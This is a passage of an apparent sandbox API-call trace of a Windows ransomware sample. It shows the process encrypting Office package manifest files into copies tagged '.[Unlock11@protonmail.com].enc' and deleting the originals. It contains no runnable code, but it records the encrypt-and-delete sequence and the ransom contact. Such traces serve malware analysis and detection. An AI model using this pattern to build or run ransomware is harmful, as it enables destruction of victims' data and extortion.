dwFlags=0x0, lpMem=0x3829e48 | out: hHeap=0x2ad0000) returned 1 [0134.042] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0134.042] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0134.042] GetLastError () returned 0x0 [0134.042] GetLastError () returned 0x0 [0134.042] GetCurrentThreadId () returned 0x9b0 [0134.042] GetLastError () returned 0x0 [0134.042] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3829900 | out: hHeap=0x2ad0000) returned 1 [0134.042] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8a58 [0134.042] GetLastError () returned 0x0 [0134.042] GetLastError () returned 0x0 [0134.042] GetCurrentThreadId () returned 0x9b0 [0134.043] GetLastError () returned 0x0 [0134.043] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8a58 | out: hHeap=0x2ad0000) returned 1 [0134.043] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.043] GetLastError () returned 0x0 [0134.044] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0134.044] CloseHandle (hObject=0x3ac) returned 1 [0134.044] GetLastError () returned 0x0 [0134.044] GetCurrentThreadId () returned 0x9b0 [0134.044] GetLastError () returned 0x0 [0134.044] GetLastError () returned 0x0 [0134.044] CloseHandle (hObject=0x39c) returned 1 [0134.044] GetLastError () returned 0x0 [0134.045] GetCurrentThreadId () returned 0x9b0 [0134.045] GetLastError () returned 0x0 [0134.045] GetLastError () returned 0x0 [0134.045] GetLastError () returned 0x0 [0134.045] GetLastError () returned 0x0 [0134.045] GetLastError () returned 0x0 [0134.045] DeleteFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml")) returned 1 [0134.046] GetLastError () returned 0x0 [0134.046] GetCurrentThreadId () returned 0x9b0 [0134.046] GetLastError () returned 0x0 [0134.046] GetCurrentThreadId () returned 0x9b0 [0134.046] GetLastError () returned 0x0 [0134.046] GetLastError () returned 0x0 [0134.047] GetLastError () returned 0x0 [0134.047] GetLastError () returned 0x0 [0134.047] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml", lpFilePart=0x9bada4*="AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 0x68 [0134.047] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0134.047] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0134.047] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0134.047] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0134.047] GetCurrentThreadId () returned 0x9b0 [0134.047] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ead28 [0134.047] GetLastError () returned 0x0 [0134.048] GetLastError () returned 0x0 [0134.048] GetLastError () returned 0x0 [0134.048] GetLastError () returned 0x0 [0134.048] GetCurrentThreadId () returned 0x9b0 [0134.048] GetLastError () returned 0x0 [0134.048] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ead28 | out: hHeap=0x2ad0000) returned 1 [0134.048] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea8f0 [0134.048] GetLastError () returned 0x0 [0134.048] GetLastError () returned 0x0 [0134.048] GetLastError () returned 0x0 [0134.048] GetLastError () returned 0x0 [0134.049] GetCurrentThreadId () returned 0x9b0 [0134.049] GetLastError () returned 0x0 [0134.049] GetCurrentThreadId () returned 0x9b0 [0134.049] GetLastError () returned 0x0 [0134.049] GetLastError () returned 0x0 [0134.049] GetLastError () returned 0x0 [0134.049] GetLastError () returned 0x0 [0134.049] GetCurrentThreadId () returned 0x9b0 [0134.049] GetLastError () returned 0x0 [0134.049] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea8f0 | out: hHeap=0x2ad0000) returned 1 [0134.049] GetLastError () returned 0x0 [0134.050] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6078 | out: hHeap=0x2ad0000) returned 1 [0134.050] GetLastError () returned 0x0 [0134.050] GetLastError () returned 0x0 [0134.050] GetLastError () returned 0x0 [0134.050] GetCurrentThreadId () returned 0x9b0 [0134.050] GetLastError () returned 0x0 [0134.050] GetLastError () returned 0x0 [0134.050] GetLastError () returned 0x0 [0134.050] GetLastError () returned 0x0 [0134.050] GetLastError () returned 0x0 [0134.050] GetCurrentThreadId () returned 0x9b0 [0134.050] GetLastError () returned 0x0 [0134.051] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ab68 | out: hHeap=0x2ad0000) returned 1 [0134.051] GetCurrentThreadId () returned 0x9b0 [0134.051] GetLastError () returned 0x0 [0134.051] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6258 | out: hHeap=0x2ad0000) returned 1 [0134.051] GetLastError () returned 0x0 [0134.051] GetLastError () returned 0x0 [0134.051] GetLastError () returned 0x0 [0134.051] GetCurrentThreadId () returned 0x9b0 [0134.051] GetLastError () returned 0x0 [0134.051] GetLastError () returned 0x0 [0134.052] GetLastError () returned 0x0 [0134.052] GetLastError () returned 0x0 [0134.052] GetLastError () returned 0x0 [0134.052] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0134.052] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e0e651, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e0e651, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1 [0134.052] GetLastError () returned 0x0 [0134.053] GetCurrentThreadId () returned 0x9b0 [0134.053] GetLastError () returned 0x0 [0134.053] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d60f0 | out: hHeap=0x2ad0000) returned 1 [0134.053] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b804 | out: pbBuffer=0x366b804) returned 1 [0134.053] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0134.053] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a2ea0 [0134.053] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0134.053] GetCurrentThreadId () returned 0x9b0 [0134.053] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaad0 [0134.053] GetLastError () returned 0x0 [0134.053] GetLastError () returned 0x0 [0134.054] GetLastError () returned 0x0 [0134.054] GetLastError () returned 0x0 [0134.054] GetCurrentThreadId () returned 0x9b0 [0134.054] GetLastError () returned 0x0 [0134.054] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaad0 | out: hHeap=0x2ad0000) returned 1 [0134.054] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea8f0 [0134.054] GetCurrentThreadId () returned 0x9b0 [0134.054] GetLastError () returned 0x0 [0134.054] GetLastError () returned 0x0 [0134.054] GetLastError () returned 0x0 [0134.054] GetLastError () returned 0x0 [0134.055] GetCurrentThreadId () returned 0x9b0 [0134.055] GetLastError () returned 0x0 [0134.055] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea8f0 | out: hHeap=0x2ad0000) returned 1 [0134.055] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x35d6588 [0134.055] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2ea0 | out: hHeap=0x2ad0000) returned 1 [0134.055] GetLastError () returned 0x0 [0134.055] GetLastError () returned 0x0 [0134.055] GetLastError () returned 0x0 [0134.055] GetLastError () returned 0x0 [0134.055] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0134.055] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d6668 [0134.055] GetLastError () returned 0x0 [0134.056] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0134.056] GetFileType (hFile=0x39c) returned 0x1 [0134.056] GetLastError () returned 0x0 [0134.056] GetCurrentThreadId () returned 0x9b0 [0134.056] GetLastError () returned 0x0 [0134.056] GetFileType (hFile=0x39c) returned 0x1 [0134.056] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.056] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.056] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.057] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.057] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.057] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.057] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.057] GetLastError () returned 0x0 [0134.057] GetCurrentThreadId () returned 0x9b0 [0134.057] GetLastError () returned 0x0 [0134.057] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6668 | out: hHeap=0x2ad0000) returned 1 [0134.057] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d63c0 | out: hHeap=0x2ad0000) returned 1 [0134.057] GetLastError () returned 0x0 [0134.057] GetLastError () returned 0x0 [0134.057] GetLastError () returned 0x0 [0134.057] GetLastError () returned 0x0 [0134.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0134.058] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d6618 [0134.058] GetLastError () returned 0x0 [0134.058] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0134.058] GetFileType (hFile=0x3ac) returned 0x1 [0134.058] GetLastError () returned 0x0 [0134.058] GetCurrentThreadId () returned 0x9b0 [0134.059] GetLastError () returned 0x0 [0134.059] GetFileType (hFile=0x3ac) returned 0x1 [0134.059] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.059] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.059] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.059] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.059] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.059] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.059] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.059] GetLastError () returned 0x0 [0134.059] GetCurrentThreadId () returned 0x9b0 [0134.059] GetLastError () returned 0x0 [0134.059] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6618 | out: hHeap=0x2ad0000) returned 1 [0134.060] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cf508 | out: hHeap=0x2ad0000) returned 1 [0134.060] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0134.060] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0134.060] GetLastError () returned 0x0 [0134.060] GetLastError () returned 0x0 [0134.060] GetCurrentThreadId () returned 0x9b0 [0134.060] GetLastError () returned 0x0 [0134.060] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0134.060] GetLastError () returned 0x0 [0134.060] GetLastError () returned 0x0 [0134.060] GetCurrentThreadId () returned 0x9b0 [0134.061] GetLastError () returned 0x0 [0134.061] GetLastError () returned 0x0 [0134.062] GetLastError () returned 0x0 [0134.062] GetCurrentThreadId () returned 0x9b0 [0134.062] GetLastError () returned 0x0 [0134.062] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6588 | out: hHeap=0x2ad0000) returned 1 [0134.062] GetCurrentThreadId () returned 0x9b0 [0134.063] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x508) returned 0x3827950 [0134.063] GetLastError () returned 0x0 [0134.063] GetLastError () returned 0x0 [0134.063] GetLastError () returned 0x0 [0134.063] GetLastError () returned 0x0 [0134.063] GetCurrentThreadId () returned 0x9b0 [0134.063] GetLastError () returned 0x0 [0134.063] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3827950 | out: hHeap=0x2ad0000) returned 1 [0134.063] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881258 [0134.063] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0134.063] GetLastError () returned 0x0 [0134.064] GetLastError () returned 0x0 [0134.064] GetCurrentThreadId () returned 0x9b0 [0134.064] GetLastError () returned 0x0 [0134.064] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3827e98 | out: hHeap=0x2ad0000) returned 1 [0134.064] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8a58 [0134.064] GetLastError () returned 0x0 [0134.064] GetLastError () returned 0x0 [0134.064] GetCurrentThreadId () returned 0x9b0 [0134.064] GetLastError () returned 0x0 [0134.064] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8a58 | out: hHeap=0x2ad0000) returned 1 [0134.064] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.065] GetLastError () returned 0x0 [0134.065] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0134.066] CloseHandle (hObject=0x3ac) returned 1 [0134.066] GetLastError () returned 0x0 [0134.066] GetCurrentThreadId () returned 0x9b0 [0134.066] GetLastError () returned 0x0 [0134.066] GetLastError () returned 0x0 [0134.066] CloseHandle (hObject=0x39c) returned 1 [0134.066] GetLastError () returned 0x0 [0134.066] GetCurrentThreadId () returned 0x9b0 [0134.066] GetLastError () returned 0x0 [0134.066] GetLastError () returned 0x0 [0134.067] GetLastError () returned 0x0 [0134.067] GetLastError () returned 0x0 [0134.067] GetLastError () returned 0x0 [0134.067] DeleteFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml")) returned 1 [0134.068] GetLastError () returned 0x0 [0134.068] GetCurrentThreadId () returned 0x9b0 [0134.068] GetLastError () returned 0x0 [0134.068] GetCurrentThreadId () returned 0x9b0 [0134.068] GetLastError () returned 0x0 [0134.068] GetLastError () returned 0x0 [0134.068] GetLastError () returned 0x0 [0134.068] GetLastError () returned 0x0 [0134.069] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml", lpFilePart=0x9bada4*="AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 0x68 [0134.069] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0134.069] GetCurrentThreadId () returned 0x9b0 [0134.069] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0134.069] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0134.069] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0134.069] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea8f0 [0134.069] GetLastError () returned 0x0 [0134.069] GetLastError () returned 0x0 [0134.069] GetLastError () returned 0x0 [0134.070] GetLastError () returned 0x0 [0134.070] GetCurrentThreadId () returned 0x9b0 [0134.070] GetLastError () returned 0x0 [0134.070] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea8f0 | out: hHeap=0x2ad0000) returned 1 [0134.070] GetCurrentThreadId () returned 0x9b0 [0134.070] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eac60 [0134.070] GetLastError () returned 0x0 [0134.070] GetLastError () returned 0x0 [0134.070] GetLastError () returned 0x0 [0134.070] GetLastError () returned 0x0 [0134.070] GetCurrentThreadId () returned 0x9b0 [0134.071] GetLastError () returned 0x0 [0134.071] GetLastError () returned 0x0 [0134.071] GetLastError () returned 0x0 [0134.071] GetLastError () returned 0x0 [0134.071] GetLastError () returned 0x0 [0134.071] GetCurrentThreadId () returned 0x9b0 [0134.071] GetLastError () returned 0x0 [0134.071] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eac60 | out: hHeap=0x2ad0000) returned 1 [0134.071] GetLastError () returned 0x0 [0134.071] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6438 | out: hHeap=0x2ad0000) returned 1 [0134.071] GetLastError () returned 0x0 [0134.072] GetLastError () returned 0x0 [0134.072] GetLastError () returned 0x0 [0134.072] GetCurrentThreadId () returned 0x9b0 [0134.072] GetLastError () returned 0x0 [0134.072] GetCurrentThreadId () returned 0x9b0 [0134.072] GetLastError () returned 0x0 [0134.072] GetLastError () returned 0x0 [0134.072] GetLastError () returned 0x0 [0134.072] GetLastError () returned 0x0 [0134.072] GetCurrentThreadId () returned 0x9b0 [0134.072] GetLastError () returned 0x0 [0134.073] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a468 | out: hHeap=0x2ad0000) returned 1 [0134.073] GetLastError () returned 0x0 [0134.073] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d60f0 | out: hHeap=0x2ad0000) returned 1 [0134.073] GetLastError () returned 0x0 [0134.073] GetLastError () returned 0x0 [0134.073] GetLastError () returned 0x0 [0134.073] GetCurrentThreadId () returned 0x9b0 [0134.073] GetLastError () returned 0x0 [0134.073] GetLastError () returned 0x0 [0134.073] GetLastError () returned 0x0 [0134.073] GetLastError () returned 0x0 [0134.074] GetLastError () returned 0x0 [0134.074] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0134.074] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x838fd5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x838fd5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x863)) returned 1 [0134.074] GetLastError () returned 0x0 [0134.074] GetCurrentThreadId () returned 0x9b0 [0134.074] GetLastError () returned 0x0 [0134.074] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6078 | out: hHeap=0x2ad0000) returned 1 [0134.074] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b5d4 | out: pbBuffer=0x366b5d4) returned 1 [0134.074] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0134.074] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5050 [0134.075] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0134.075] GetCurrentThreadId () returned 0x9b0 [0134.075] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea8a0 [0134.075] GetLastError () returned 0x0 [0134.075] GetLastError () returned 0x0 [0134.075] GetLastError () returned 0x0 [0134.075] GetLastError () returned 0x0 [0134.075] GetCurrentThreadId () returned 0x9b0 [0134.075] GetLastError () returned 0x0 [0134.075] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea8a0 | out: hHeap=0x2ad0000) returned 1 [0134.075] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaa58 [0134.076] GetCurrentThreadId () returned 0x9b0 [0134.076] GetLastError () returned 0x0 [0134.076] GetLastError () returned 0x0 [0134.076] GetLastError () returned 0x0 [0134.076] GetLastError () returned 0x0 [0134.076] GetCurrentThreadId () returned 0x9b0 [0134.076] GetLastError () returned 0x0 [0134.076] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaa58 | out: hHeap=0x2ad0000) returned 1 [0134.076] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x35d65e8 [0134.076] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a5050 | out: hHeap=0x2ad0000) returned 1 [0134.076] GetLastError () returned 0x0 [0134.077] GetLastError () returned 0x0 [0134.077] GetLastError () returned 0x0 [0134.077] GetLastError () returned 0x0 [0134.077] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0134.077] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d6618 [0134.077] GetLastError () returned 0x0 [0134.077] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0134.077] GetFileType (hFile=0x39c) returned 0x1 [0134.077] GetLastError () returned 0x0 [0134.078] GetCurrentThreadId () returned 0x9b0 [0134.078] GetLastError () returned 0x0 [0134.078] GetFileType (hFile=0x39c) returned 0x1 [0134.078] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.078] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.078] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.078] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.078] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.078] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.078] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.078] GetLastError () returned 0x0 [0134.078] GetCurrentThreadId () returned 0x9b0 [0134.078] GetLastError () returned 0x0 [0134.079] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6618 | out: hHeap=0x2ad0000) returned 1 [0134.079] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6618 | out: hHeap=0x2ad0000) returned 1 [0134.079] GetLastError () returned 0x0 [0134.079] GetLastError () returned 0x0 [0134.079] GetLastError () returned 0x0 [0134.079] GetLastError () returned 0x0 [0134.079] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0134.079] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d66b8 [0134.079] GetLastError () returned 0x0 [0134.079] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0134.080] GetFileType (hFile=0x3ac) returned 0x1 [0134.080] GetLastError () returned 0x0 [0134.080] GetCurrentThreadId () returned 0x9b0 [0134.080] GetLastError () returned 0x0 [0134.080] GetFileType (hFile=0x3ac) returned 0x1 [0134.080] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.080] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.080] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 